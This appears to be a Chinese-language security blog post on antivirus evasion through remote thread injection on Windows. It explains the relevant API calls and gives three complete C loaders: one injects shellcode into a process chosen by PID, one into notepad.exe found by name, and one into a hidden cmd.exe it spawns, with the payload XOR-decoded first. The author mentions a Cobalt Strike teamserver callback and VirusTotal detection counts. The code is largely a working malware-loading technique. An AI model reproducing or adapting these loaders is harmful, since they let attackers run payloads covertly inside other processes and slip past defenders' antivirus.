免杀基础之远程线程注入
0
Word Count: 1.6k(words)
Read Count: 7(minutes)
前言
本文主要参考
https://fengwenhua.top/index.php/archives/65/,其中最终代码参考https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/中的high level API。
远程线程中执行shellcode
shellcode代码与地址无关,理论上将shellcode放入任意程序中给它一个起点就可以执行,因此考虑将shellcode注入到其他进程中以起到隐蔽执行的目的,可以考虑注入到经常进行网络连接的进程中以起到更好的隐蔽效果。
流程与函数介绍
VirtualAllocEx()
1 2 3 4 5 6 7
| LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
|
VirtualAllocEx()用于在指定进程开辟内存空间,所需参数主要为进程的handler,所以需要使用OpenProcess函数获取。
OpenProcess()
1 2 3 4 5
| HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
|
使用OpenProcess获取进程的handler,需要知道进程的PID。
假设知道了进程的PID,那么应该如何将shellcode拷贝进去?之前简单的加载器用的是memcpy方法拷贝shellcode,但是因为我们要写入的是进程的内存区域,所以需要用WriteProcessMemory函数
WriteProcessMemory()
1 2 3 4 5 6 7
| BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
|
将shellcode写入内存后,需要调用一下,调用方法为CreateRemoteThread()
CreateRemoteThread()
CreateRemoteThread是一个Windows API函数,它能够创建一个在其它进程地址空间中运行的线程
1 2 3 4 5 6 7 8 9
| HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
|
将shellcode注入到notepad.exe中(已知pid)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #define _CRT_SECURE_NO_DEPRECATE #include "Windows.h" #include "stdio.h"
int main(int argc, char* argv[]) { unsigned char buf[] = "";
HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle);
return 0; }
|
可以看到shellcode已经被注入到notepad.exe了,并且与CS teamserver建立了网络连接,但是这样不是太方便,需要先知道进程的pid,所以该代码还需要改进。
将shellcode注入到指定进程中(未知pid)
代码如下,但是该方法存在一个问题,注入的权限要求有点大,我试了试注入其他进程(Windows自带的)失败了(管理员权限可以随便注入),所以该方法适用于可以RCE的时候,先打开一个notepad然后进行注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #pragma comment(linker, "/INCREMENTAL:NO") #pragma comment(linker, "/section:.data,RWE") #include <Windows.h> #include <tlhelp32.h> #include <tchar.h> #include<stdio.h> int main(int argc, char* argv[]) { HANDLE hProcessSnap; HANDLE processHandle; PROCESSENTRY32 pe32; DWORD pid = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { CloseHandle(hProcessSnap); exit(-1); } pe32.dwSize = sizeof(PROCESSENTRY32); BOOL bRet = Process32First(hProcessSnap, &pe32); if (!bRet) { exit(-2); } while (bRet) { if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) { pid = pe32.th32ProcessID; break; } bRet = Process32Next(hProcessSnap, &pe32); } processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); CloseHandle(hProcessSnap);
unsigned char buf[] = ""; HANDLE remoteThread; PVOID remoteBuffer; remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle);
return 0; }
|
当权限为管理员的时候,可以注入任意进程。上面的cmd框是正常用户权限启动的cmd,下面是run as admin。
新建进程并注入shellcode
上面的方法只能注入到现有进程,并且存在权限问题,实用性较低,现考虑新建进程并远程线程注入shellcode.
注意,下面的代码被杀穿了,还不如shellcode直接加载的效果好,因为注入本来就不是正常操作,不加shellcode上传vt也有13个报毒,仅学习思想。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #pragma comment(linker, "/INCREMENTAL:NO") #pragma comment(linker, "/section:.data,RWE") #include <Windows.h> #include <tlhelp32.h> #include <tchar.h> #include <iostream> #include<stdio.h> int main(int argc, char* argv[]) { HANDLE processHandle; PROCESSENTRY32 pe32; STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); si.cb = sizeof(STARTUPINFO); si.lpReserved = NULL; si.lpDesktop = NULL; si.lpTitle = NULL; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.cbReserved2 = NULL; si.lpReserved2 = NULL;
LPCWSTR cmd; cmd = L"C:\\Windows\\System32\\cmd.exe"; if (!CreateProcess( cmd, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi )) { DWORD errval = GetLastError(); std::cout << "FAILED" << errval << std::endl; } WaitForSingleObject(pi.hProcess, 1000); unsigned char buf[] = ""; for (int i = 0; i < sizeof(buf); i++) { buf[i] = buf[i] ^ 17; } HANDLE remoteThread; PVOID remoteBuffer; remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, remoteBuffer, buf, sizeof buf, NULL); remoteThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
return 0; }
|
-
Article Link
https://polosec.github.io/2022/01/15/%E5%85%8D%E6%9D%80%E5%9F%BA%E7%A1%80%E4%B9%8B%E8%BF%9C%E7%A8%8B%E7%BA%BF%E7%A8%8B%E6%B3%A8%E5%85%A5/
-
Copyright Notice: All articles in this blog, unless otherwise stated, are under the CC BY 4.0 CN agreement.Reprint please indicate the source!